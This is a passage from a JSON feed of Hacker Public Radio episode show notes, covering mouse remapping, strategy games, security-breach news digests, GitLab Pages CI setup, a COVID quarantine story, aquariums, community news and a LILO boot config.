                                                            \n\"xvkbd  -text \"\\[Page_Down]\"\"\n       b:8\n\n\"xvkbd  -text \"\\[Page_Up]\"\"\n       b:9\n
                                                            \n\n

                                                            I suppose I could have used xdotool for this configuration file as well, but for reasons I can't remember now, I tried xvkbd first and it worked, so I did not experiment further. I used xdotool for the Kensington because xvkbd did not have a way to perform virtual mouse clicks.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux configuration, tips and tricks, mouse configuration, keymapping","version":0,"downloads":0,"valid":1}, {"id":3820,"date":"2023-03-24","title":"Introduction to Gaming","duration":991,"summary":"How I first got started with Computer Strategy Games","notes":"

                                                            This starts out the series on Computer Strategy Games, and we begin\nwith the game that got me hooked, the first Civilization game created by\nSid Meier and published by Microprose. Though it is pretty old now, it\nis still fond in my heart, and in the hearts of so many other gamers. If\nthis comes across as a love letter, so be it. We will also in this\nseries look at where you can obtain old games, and where you can find\nmore information about the games I cover.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization","version":0,"downloads":0,"valid":1}, {"id":3821,"date":"2023-03-27","title":"The Oh No! News.","duration":797,"summary":"Oh No! News, is Good News.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News, is Good\nNews.

                                                            \n
                                                            \n
                                                              \n
                                                            • Threat analysis; your attack surface.\n
                                                                \n
                                                              • TAGS: Malware, Phishing, Security Breach
                                                              • \n
                                                            • \n
                                                            • GoDaddy, a Web Hosting Provider Hit Multiple Times by the\nSame Group.\n
                                                                \n
                                                              • This month, GoDaddy, a leading web hosting provider, revealed that\nit had experienced a major security breach over several years, resulting\nin the theft of company source code, customer and employee login\ncredentials, and the introduction of malware onto customer\nwebsites.
                                                              • \n
                                                              • Major Security Breach: Spanning several years.\n
                                                                  \n
                                                                • Data Breach:\nEmployee login credentials & customer data.
                                                                • \n
                                                                • 10-k\nform Filled with the U.S. Securities and Exchange Commission.
                                                                • \n
                                                                • sec:\nGoDaddy Announces Security Incident Affecting Managed WordPress\nService.
                                                                • \n
                                                                • Malware:\nCompromising customer websites managed by GoDaddy.
                                                                • \n
                                                                • Phishing Attacks: Exposed customer data including login credentials,\nemail addresses, and SSL private keys.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Chick-Fil-A Customers are Victims of a Data Breach.\n
                                                                \n
                                                              • Fast-food chain Chick-fil-A has issued a warning to customers\nregarding a recent data security breach. The incident occurred between\nDec. 18, 2022 and Feb. 12, 2023, during which unauthorized parties\ngained access to customer information, according to a statement posted\non the California Attorney General’s website on Tuesday.\n
                                                                  \n
                                                                • Data Breach:\nmembership numbers, mobile pay numbers, QR codes, last 4 digits of\ncredit/debit card numbers, credits on Chick-fil-A accounts, birthdays,\nphone numbers, and addresses.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • New phishing campaign uses fake ChatGPT platform to scam\neager investors.\n
                                                                \n
                                                              • Bitdefender Antispam Labs confirmed that these scams initiate with\nan email containing a link that directs users to a copycat version of\nChatGPT. The goal of this copycat version is to convince users that they\ncan earn as much as $10,000 per month on the duplicate ChatGPT\nplatform.
                                                              • \n
                                                              • Phishing: Email\nbased scam.
                                                              • \n
                                                            • \n
                                                            • LassPass Security Incident Update and Recommended\nActions.\n
                                                                \n
                                                              • Major Security Breach: Spanning multiple years.\n
                                                                  \n
                                                                • Data Breach:\nEmployee login credentials, source code & other intellectual\nproperty, customer data.
                                                                • \n
                                                                • Malware:\nAttackers exploited third-party software to compromise company systems\nby delivering a keylogger type malware.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • InfoSec; the language of security.\n
                                                                \n
                                                              • TAGS: Information Security, Monitoring
                                                              • \n
                                                            • \n
                                                            • Bitwarden flaw can let hackers steal passwords using\niframes.\n
                                                                \n
                                                              • Bitwarden highlights that the autofill feature is a potential risk\nand even includes a prominent warning in its documentation,\nspecifically mentioning the likelihood of compromised sites abusing the\nautofill feature to steal credentials.
                                                              • \n
                                                              • Phishing: Sniff\ncredentials from a webpage HTML inline frame.
                                                              • \n
                                                              • wikipedia:\nAn inline frame places another HTML document in a frame. Unlike an\n<object /> element, an <iframe> can be the \"target\" frame\nfor links defined by other elements, and it can be selected by the user\nagent as the focus for printing, viewing its source, and so on. The\ncontent of the element is used as alternative text to be displayed if\nthe browser does not support inline frames. A separate document is\nlinked to a frame using the src attribute inside the <iframe />,\nan inline HTML code is embedded to a frame using the srcdoc attribute\ninside the <iframe /> element. First introduced by Microsoft\nInternet Explorer in 1997, standardized in HTML 4.0 Transitional,\nallowed in HTML5.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • User space.\n
                                                                \n
                                                              • TAGS: Solutions, Services
                                                              • \n
                                                            • \n
                                                            • Flathub’s Got Big Plans for 2023.\n
                                                                \n
                                                              • Developers are flocking to Flathub in droves, which means users are\ntoo, and even Linux distributions (well, bar one) are getting in on the\naction by making making it easier to install apps from Flathub with the\nfriction of setting things up using terminal commands or odd sounding\ndownload files.
                                                              • \n
                                                              • Flathub Beta site: Welcome\nto Flathub, the home of hundreds of apps which can be easily installed\non any Linux distribution. Browse the apps online, from your app center\nor the command line.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • References (APA format).\n
                                                                \n
                                                              • CySecurity News. (2023, March 01). [GoDaddy Hit Multiple Times by\nthe Same Group]. CySecurity. https://www.cysecurity.news/2023/03/godaddy-web-hosting-provider-hit.html
                                                              • \n
                                                              • Gatlan S. (2021, November 22). [GoDaddy data breach hits 1.2 million\nManaged WordPress customers]. Bleepingcomputer. https://www.bleepingcomputer.com/news/security/godaddy-data-breach-hits-12-million-managed-wordpress-customers/
                                                              • \n
                                                              • GoDaddy. (2023, February 16). Statement on recent website redirect\nissues. GoDaddy. https://aboutus.godaddy.net/newsroom/company-news/news-details/2023/Statement-on-recent-website-redirect-issues/default.aspx
                                                              • \n
                                                              • Gatlan S. (2020, May 04). GoDaddy notifies users of breached hosting\naccounts. Bleepingcomputer. https://www.bleepingcomputer.com/news/security/godaddy-notifies-users-of-breached-hosting-accounts/
                                                              • \n
                                                              • Ilascu I. (2019, April 26). Hundreds of GoDaddy Accounts Used for\n\"Miracle\" Product Scams. Bleepingcomputer. https://www.bleepingcomputer.com/news/security/hundreds-of-godaddy-accounts-used-for-miracle-product-scams/
                                                              • \n
                                                              • Cross T. (2023, March 08). Chick-Fil-A Customers are Victims of a\nData Breach. Safetydetectives. https://www.safetydetectives.com/news/chick-fil-a-customers-are-victims-of-a-data-breach/
                                                              • \n
                                                              • Oguejiofor-Abugu K. (2023, March 07). New phishing campaign uses\nfake ChatGPT platform to scam eager investors. Safetydetectives. https://www.safetydetectives.com/news/new-phishing-campaign-uses-fake-chatgpt-platform-to-scam-eager-investors/
                                                              • \n
                                                              • Toulas B. (2023, March 08). Bitwarden flaw can let hackers steal\npasswords using iframes. Bleepingcomputer. https://www.bleepingcomputer.com/news/security/bitwarden-flaw-can-let-hackers-steal-passwords-using-iframes/
                                                              • \n
                                                              • Toubba K. (2023, March 01). Security Incident Update and Recommended\nActions. LassPass. https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/
                                                              • \n
                                                              • Toubba K. (2022, December). Incident 2 – Additional details of the\nattack. LassPass. https://support.lastpass.com/help/incident-2-additional-details-of-the-attack
                                                              • \n
                                                              • Toubba K. (2023, February). What have we done to secure LastPass.\nLassPass. https://support.lastpass.com/help/what-have-we-done-to-ensure-lastpass-is-safe-to-use
                                                              • \n
                                                              • Sneddon J. (2023, March 07). Flathub’s Got Big Plans for 2023. OMG\nubuntu. https://www.omgubuntu.co.uk/2023/03/flathub-has-big-plans-for-2023
                                                              • \n
                                                              • McQueen R. (2023, March 07). [The personal blog of Robert McQueen].\nramcq. https://ramcq.net/2023/03/07/flathub-in-2023/
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Oh No, News, Threat analysis, InfoSec, User space","version":0,"downloads":0,"valid":1}, {"id":3822,"date":"2023-03-28","title":"A tale of wonder, angst and woe","duration":526,"summary":"Dissecting a COVID watch issued by Hong Kong Department of Health","notes":"

                                                            \nIn December of 2022, I traveled to Hong Kong, at some point en-route\nor in-country, I contracted covid.

                                                            \n

                                                            Backing up a step in preparation for\nthe trip I was required to have a negative PCR before I could board\nthe plane from the US as well as proof of vaccination and at least\none booster shot.\n

                                                            \n

                                                            HKSAR Department of Health - Health Declaration Form\n(https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us)

                                                            \n

                                                            Upon arrival, I was required to quarantine for 3 days as well as take a home test (referred to as RAT: Rapid Antigen Test, by the locals) every day for the first 7 days

                                                            \n

                                                            On the 2nd full day in HK, I was required to take another clinical PCR provided at a health center, free of charge.

                                                            \n\n

                                                            On the third day I received my PCR and RAT tests as Covid Positive.

                                                            \n

                                                            By law I was now required to quarantine in my hotel until I tested negative on 2 consecutive days. Since my symptoms were very mild, a sniffle and low grade temp, merely 2-3 deg above normal, I could stay in the hotel and was not required to\ntransfer to a public health center.

                                                            \n

                                                            I was also required to register the positive results with a government website. This registration kicked off a series of events, including a visit from a health representative. (he stood in the hall, I was not permitted to leave the room) I was Required to install an app on my phone called "Stay Home Safe'' and to wear a wristband that I presume was a GPS and possibly temp/pulse tracking device that connected to my phone by bluetooth. The agent installed the app, and synced the watch to it.\n

                                                            \n\n\n\n

                                                            \nThe complete shownotes are available downloaded from http://bookewyrmm.42web.io/covid.html\n

                                                            \n","hostid":365,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"device discovery, curiosity","version":0,"downloads":0,"valid":1}, {"id":3823,"date":"2023-03-29","title":"Gitlab Pages for website hosting","duration":1560,"summary":"Three examples of using Gitlab's CICD to generate a website.","notes":"

                                                            How it works

                                                            \n

                                                            https://docs.gitlab.com/ee/user/project/pages/

                                                            \n
                                                            \n

                                                            GitLab always deploys your website from a specific folder called\npublic in your repository. To deploy your site, GitLab uses its built-in\ntool called GitLab CI/CD to build your site and publish it to the GitLab\nPages server. The sequence of scripts that GitLab CI/CD runs to\naccomplish this task is created from a file named .gitlab-ci.yml, which\nyou can create and modify. A specific job called pages in the\nconfiguration file makes GitLab aware that you're deploying a GitLab\nPages website.

                                                            \n
                                                            \n

                                                            Overview of Steps

                                                            \n
                                                              \n
                                                            • The end state has to be a directory named public that contains the\nsite contents
                                                            • \n
                                                            • Optionally, run a build process in a container to create the\ncontents of the public directory
                                                            • \n
                                                            • There has to be a pages declaration in\n.gitlab-ci.yml
                                                            • \n
                                                            \n

                                                            Example 1

                                                            \n

                                                            simple demo

                                                            \n
                                                              \n
                                                            • Create the Git repo and site content
                                                            • \n
                                                            • Go to gitlab and create new Gitlab repo
                                                            • \n
                                                            • Clone it to your workstation
                                                            • \n
                                                            • Add public folder with site files
                                                            • \n
                                                            • add .gitlab-ci.yml
                                                            • \n
                                                            • Commit and push
                                                            • \n
                                                            \n
                                                            git clone git@gitlab.com:norrist/simple_pages_demo.git\ncd simple_pages_demo/\nmkdir public\necho "Hello World" > public/index.html\ngit add public/\nvim  .gitlab-ci.yml\ngit add .gitlab-ci.yml\ngit commit -am "new page"\ngit push
                                                            \n

                                                            .gitlab-ci.yml

                                                            \n
                                                            pages:\n  stage: deploy\n  script:\n    - echo\n  artifacts:\n    paths:\n      - public
                                                            \n

                                                            Pages settings

                                                            \n
                                                              \n
                                                            • Menu on left, Settings, Pages
                                                            • \n
                                                            • Your pages are served under:
                                                            • \n
                                                            \n

                                                            Example 2

                                                            \n

                                                            docs.norrist.xyz

                                                            \n
                                                              \n
                                                            • Combine my HPR show notes into a single page
                                                            • \n
                                                            • Custom Domain\n
                                                                \n
                                                              • Verified with TXT record
                                                              • \n
                                                            • \n
                                                            \n

                                                            .gitlab-ci.yml

                                                            \n
                                                            image: "debian"\nbefore_script:\n    - apt-get update\n    - apt-get install -y  pandoc\n\nstages:\n- build\npages:\n  stage: build\n  script:\n    - bash build_html.sh\n  artifacts:\n    paths:\n      - public
                                                            \n
                                                            set -euo pipefail\nIFS=$'\\n\\t'\nmkdir -pv public\nfor MD in $(ls *md)\n    do\n    echo\n    # echo "---"\n    # echo\n    # echo "#" $MD\n    echo\n    echo "---"\n    echo\n    cat $MD\ndone    \\\n|pandoc \\\n-H markdown.header \\\n-B body.header \\\n--toc \\\n--toc-depth=1 \\\n-f gfm \\\n-t html \\\n-o public/index.html
                                                            \n

                                                            Example 3

                                                            \n

                                                            HPR static

                                                            \n
                                                              \n
                                                            • Build the new HPR static site
                                                            • \n
                                                            \n

                                                            .gitlab-ci.yml

                                                            \n
                                                            services:\n  - mariadb\nvariables:\n  MYSQL_DATABASE: hpr_hpr\n  MYSQL_ROOT_PASSWORD: mysql\n\nconnect:\n  stage: .pre\n  image: mysql\n  script:\n  - echo "SELECT 'OK';" | mysql --user=root --password="$MYSQL_ROOT_PASSWORD" --host=mariadb "$MYSQL_DATABASE"\n\npages:\n  image: debian\n  before_script:\n      - apt update\n      - apt -y install libgetopt-complete-perl libmemory-usage-perl libconfig-std-perl libtemplate-perl libtemplate-plugin-dbi-perl libclass-dbi-perl libtie-dbi-perl libdbd-mysql-perl  libdate-calc-perl\n      - apt -y install curl mariadb-client git\n      - curl -o hpr.sql http://hackerpublicradio.org/hpr.sql\n      - mysql --user=root --host=mariadb "$MYSQL_DATABASE" --password="$MYSQL_ROOT_PASSWORD"  < hpr.sql\n\n  stage: build\n  script:\n    - git clone https://gitlab.com/roan.horning/hpr_generator.git\n    - cd hpr_generator\n    - git apply ../mysql_settings.patch\n    - grep "database\\|user\\|driver\\|password" site.cfg\n    - ./site-generator --all\n    - mv -v public_html ../public\n\n  artifacts:\n    paths:\n      - public\n
                                                            \n

                                                            site.cfg Patch

                                                            \n
                                                            diff --git a/site.cfg b/site.cfg\nindex aefadb2..0243d27 100644\n--- a/site.cfg\n+++ b/site.cfg\n@@ -8,10 +8,10 @@\n #user:        (not used - leave blank)\n #password:    (not used - leave blank)\n # Configuration settings for MySQL\n-#database: mysql\n-#driver: dbi:mysql:database=hpr_hpr:hostname=localhost\n-#user: hpr-generator  (Suggested user with read-only privileges)\n-#password: *********  (Password for user)\n+database: mysql\n+driver: dbi:mysql:database=hpr_hpr:hostname=mariadb\n+user: root\n+password: mysql\n\n # Configure the location of the templates and the generated HTML\n [app_paths]\n@@ -25,7 +25,7 @@ output_path: ./public_html\n [root_template]\n content: page.tpl.html\n #baseurl: OPTIONAL [i.e. file://<full path to local website directory>]\n-baseurl: file:///home/roan/Development/hpr/website/hpr_generator/public_html/\n+baseurl: https://norrist.gitlab.io/hpr_generator_build/\n media_baseurl: https://archive.org/download/hpr$eps_id/\n\n # Configure the navigation menu and the content templates for each page
                                                            \n

                                                            Other Example Projects

                                                            \n\n

                                                            Common Frustrations

                                                            \n
                                                              \n
                                                            • Waiting on builds during debugging.
                                                            • \n
                                                            • Having to push to CICD instead of running local
                                                            • \n
                                                            \n

                                                            Links

                                                            \n

                                                            HPR Generator - https://repo.anhonesthost.net/rho_n/hpr_generator

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Gitlab Example RepoGitlab pages URL
                                                            https://gitlab.com/norrist/simple_pages_demohttps://norrist.gitlab.io/simple_pages_demo/
                                                            https://gitlab.com/norrist/docs.norrist.xyzhttps://docs.norrist.xyz/
                                                            https://gitlab.com/norrist/hpr_generator_buildhttps://norrist.gitlab.io/hpr_generator_build/
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":" static website, gitlab pages, docker, mysql, cicd, ","version":0,"downloads":0,"valid":1}, {"id":3824,"date":"2023-03-30","title":"2022-2023 New Years Show Episode 4","duration":7209,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #4

                                                            \n\n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3825,"date":"2023-03-31","title":"Creating a natural aquarium","duration":2310,"summary":"Setting up your first natural, self-sustaining freshwater aquarium","notes":"

                                                            An alternative method to the big box store way of setting up an\naquarium.

                                                            \n

                                                            You don't need a bunch of equipment, chemicals, or experience to have\na balanced thriving aquarium that not only runs itself after a period of\ntime, but is a healthier environment for your aquatic creatures and will\nbe a great conversation piece.

                                                            \n

                                                            Learn how to emulate nature so that everything works together in its\nown ecosystem from the bottom up. Only a little bit of patience is\nneeded.

                                                            \n","hostid":375,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"aquarium,ecology,plantedtank,fish","version":0,"downloads":0,"valid":1}, {"id":3826,"date":"2023-04-03","title":"HPR Community News for March 2023","duration":5070,"summary":"HPR Volunteers talk about shows released and comments posted in March 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3803Wed2023-03-01Chatbot hallucinationdnt
                                                            3804Thu2023-03-022022-2023 New Years Show Episode 2HPR Volunteers
                                                            3805Fri2023-03-03Document File Formats on WikipediaArcher72
                                                            3806Mon2023-03-06HPR Community News for February 2023HPR Volunteers
                                                            3807Tue2023-03-07PeePaw builds a computerBrian in Ohio
                                                            3808Wed2023-03-08Funkwhale A social platform to enjoy and share musicKen Fallon
                                                            3809Thu2023-03-09The Abominable Post Apocalyptic Podcast PlayerMechatroniac
                                                            3810Fri2023-03-10Clifton, ArizonaAhuka
                                                            3811Mon2023-03-13mkfifo and named pipesKlaatu
                                                            3812Tue2023-03-14PeePaw's computer does nothingBrian in Ohio
                                                            3813Wed2023-03-15The postmarketOS PodcastKen Fallon
                                                            3814Thu2023-03-162022-2023 New Years Show Episode 3HPR Volunteers
                                                            3815Fri2023-03-17The UNIVAC Uniscope - The first terminal with a video monitorDeltaray
                                                            3816Mon2023-03-20Post Apocalyptic 4s5 Battery Pack Mechatroniac
                                                            3817Tue2023-03-21The Oh No! News.Some Guy On The Internet
                                                            3818Wed2023-03-22nop test reduxBrian in Ohio
                                                            3819Thu2023-03-23Remapping Mouse Buttons with XBindKeys on LinuxJon Kulp
                                                            3820Fri2023-03-24Introduction to GamingAhuka
                                                            3821Mon2023-03-27The Oh No! News.Some Guy On The Internet
                                                            3822Tue2023-03-28A tale of wonder, angst and woeBookewyrmm
                                                            3823Wed2023-03-29Gitlab Pages for website hostingnorrist
                                                            3824Thu2023-03-302022-2023 New Years Show Episode 4HPR Volunteers
                                                            3825Fri2023-03-31Creating a natural aquariumminnix
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n5 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3434\n(2021-09-30) \"From 0 to K8s in 30 minutes\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nMike Ray on 2023-03-24:\n\"Built a cluster in a rack\"

                                                              \n
                                                            • hpr3751\n(2022-12-19) \"Using Noisetorch\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nReto on 2023-03-28:\n\"Noisetorch, the second choice\"

                                                              \n
                                                            • hpr3761\n(2023-01-02) \"HPR Community News for December 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2023-03-16:\n\"Travel journals\"

                                                              \n
                                                            • hpr3794\n(2023-02-16) \"Retro Karaoke machine restored\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\none_of_spoons on 2023-03-01:\n\"tape cassettes\"
                                                              • \n
                                                              • \nComment 2:\nJon Kulp on 2023-03-14:\n\"Obsolete Audio Devices Rule\"

                                                              \n
                                                            • hpr3802\n(2023-02-28) \"Attack of the Squishmallow\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2023-03-18:\n\"Impressive undertaking\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 23 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3803\n(2023-03-01) \"Chatbot hallucination\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-02-27:\n\"The Inverted Rabbit\"

                                                              \n
                                                            • hpr3806\n(2023-03-06) \"HPR Community News for February 2023\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2023-03-08:\n\"Karaoke\"

                                                              \n
                                                            • hpr3807\n(2023-03-07) \"PeePaw builds a computer\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-02-26:\n\".\"
                                                              • Comment 2:\nMechatroniac on 2023-02-26:\n\".\"
                                                              • Comment 3:\nbrian-in-ohio on 2023-03-08:\n\"forth shows\"

                                                              \n
                                                            • hpr3808\n(2023-03-08) \"Funkwhale A social platform to enjoy and share music\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2023-03-09:\n\"funkwhale\"
                                                              • Comment 2:\nWindigo on 2023-03-22:\n\"Piqued interest\"

                                                              \n
                                                            • hpr3809\n(2023-03-09) \"The Abominable Post Apocalyptic Podcast Player\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on The Internet on 2023-03-09:\n\"The normiees wouldn’t like it.\"
                                                              • Comment 2:\nMechatroniac on 2023-03-09:\n\"captions\"
                                                              • Comment 3:\nnorrist on 2023-03-09:\n\"Premium HPR content\"
                                                              • Comment 4:\nMechatroniac on 2023-03-10:\n\"reply\"

                                                              \n
                                                            • hpr3810\n(2023-03-10) \"Clifton, Arizona\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nzen_floater2 on 2023-03-10:\n\"up-state !\"

                                                              \n
                                                            • hpr3814\n(2023-03-16) \"2022-2023 New Years Show Episode 3\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nStache_AF on 2023-03-16:\n\"I need to speak up\"
                                                              • Comment 2:\nSome Guy on The Internet on 2023-03-17:\n\"I vote for \"Push To Talk\".\"
                                                              • Comment 3:\nKen Fallon on 2023-03-26:\n\"What license\"
                                                              • Comment 4:\nSome Guy On The Internet on 2023-03-27:\n\"Video License.\"

                                                              \n
                                                            • hpr3815\n(2023-03-17) \"The UNIVAC Uniscope - The first terminal with a video monitor\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmirwi on 2023-03-24:\n\"Second delete key -> carriage return?\"
                                                              • Comment 2:\nDeltaray on 2023-03-27:\n\"Documentation on keyboard layout\"

                                                              \n
                                                            • hpr3821\n(2023-03-27) \"The Oh No! News.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-03-27:\n\"Mastodon?\"
                                                              • Comment 2:\nSome Guy On The Internet on 2023-03-28:\n\"My Mastodon handle.\"

                                                              \n
                                                            • hpr3822\n(2023-03-28) \"A tale of wonder, angst and woe\"\nby Bookewyrmm.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2023-03-31:\n\"Wrist device\"

                                                              \n
                                                            • hpr3825\n(2023-03-31) \"Creating a natural aquarium\"\nby minnix.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2023-03-31:\n\"Great and fascinating show\"
                                                              • Comment 2:\nminnix on 2023-03-31:\n\"Thanks Dave\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-March/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Movement of the\nplay button on each show page

                                                            \n
                                                              \n
                                                            • A request was made to move this from the bottom of each show page,\nwhere it can be difficult to find because of the length of the notes, to\nthe top.
                                                            • \n
                                                            • The change was made in the last week of March.
                                                            • \n
                                                            \n

                                                            Non-English shows

                                                            \n

                                                            How to organise them?

                                                            \n
                                                              \n
                                                            1. Just an intro and then the show
                                                            2. \n
                                                            3. An intro and then the show, then the text-to-speech translation\nafter
                                                            4. \n
                                                            5. Just the text-to-speech translation
                                                            6. \n
                                                            7. The original in the left channel and the text-to-speech in the\nright
                                                            8. \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3827,"date":"2023-04-04","title":"Reply to hpr 3798 ","duration":506,"summary":"added slackware information","notes":"

                                                            \nFrom Wikipedia, the free encyclopedia
                                                            \nLILO (Linux Loader) is a boot loader for Linux and was the default boot loader for most Linux distributions in the years after the popularity of loadlin. Today, many distributions use GRUB as the default boot loader, but LILO and its variant ELILO are still in wide use. Further development of LILO was discontinued in December 2015 along with a request by Joachim Wiedorn for potential developers.
                                                            \nFor EFI-based PC hardware the now orphaned ELILO boot loader was developed,originally by Hewlett-Packard for IA-64 systems, but later also for standard i386 and amd64 hardware with EFI support.
                                                            \nOn any version of Linux running on Intel-based Apple Macintosh hardware, ELILO is one of the available bootloaders.
                                                            \nIt supports network booting using TFTP/DHCP.\n

                                                            \n\n\n
                                                            prompt\ndelay=20\ntimeout=20\ndefault=g\n#default=h\nchooser=simple\nmessage=textmenu-message.msg\n\nimage=vmlinuz-generic\n        label=g\n    initrd=initrd.gz\n        read-only\n        append="root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6"\n\nimage=vmlinuz-huge\n        label=h\n        read-only\n        append="root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6"\n\nimage=dummy\n        label=w
                                                            \n

                                                            slackware; reading is not an option

                                                            \n

                                                            Ken: added aditional links and wikipedia summary

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux distros, slackware","version":0,"downloads":0,"valid":1}, {"id":3828,"date":"2023-04-05","title":"The Oh No! News.","duration":1109,"summary":"Oh No! News, is Good News.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                            \n

                                                            Threat analysis;\nyour attack surface.

                                                            \n
                                                              \n
                                                            • Article: CISA\nwarns of actively exploited Plex bug after LastPass breach.\n
                                                                \n
                                                              • Author: Sergiu\nGatlan (2023, Mar 11).
                                                              • \n
                                                              • Attackers with \"admin access to a Plex Media Server could abuse the\nCamera Upload feature to make the server execute malicious code,\"\naccording to an advisory published by the Plex Security Team in May 2020\nwhen it patched the bug with the release of Plex Media Server\n1.19.3.
                                                              • \n
                                                              • \"This could be done by setting the server data directory to overlap\nwith the content location for a library on which Camera Upload was\nenabled. This issue could not be exploited without first gaining access\nto the server's Plex account.\"
                                                              • \n
                                                              • Link to Cybersecurity &\nInfrastructure Security Agency (CISA).
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Plex\nSecurity, regarding security vulnerability CVE-2020-5741.\n
                                                                \n
                                                              • Author: PlexSecurity, Plex Employee. (2020,\nMay).
                                                              • \n
                                                              • We have recently been made aware of a security vulnerability related\nto Plex Media Server. This issue allowed an attacker with access to the\nserver administrator’s Plex account to upload a malicious file via the\nCamera Upload feature and have the media server execute it.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Official\nstatement from Plex, concerning vulnerabilities, on LastPass Data\nBreach.\n
                                                                \n
                                                              • Author: PlexInfo, Plex Employee. (2023, Feb\n28).
                                                              • \n
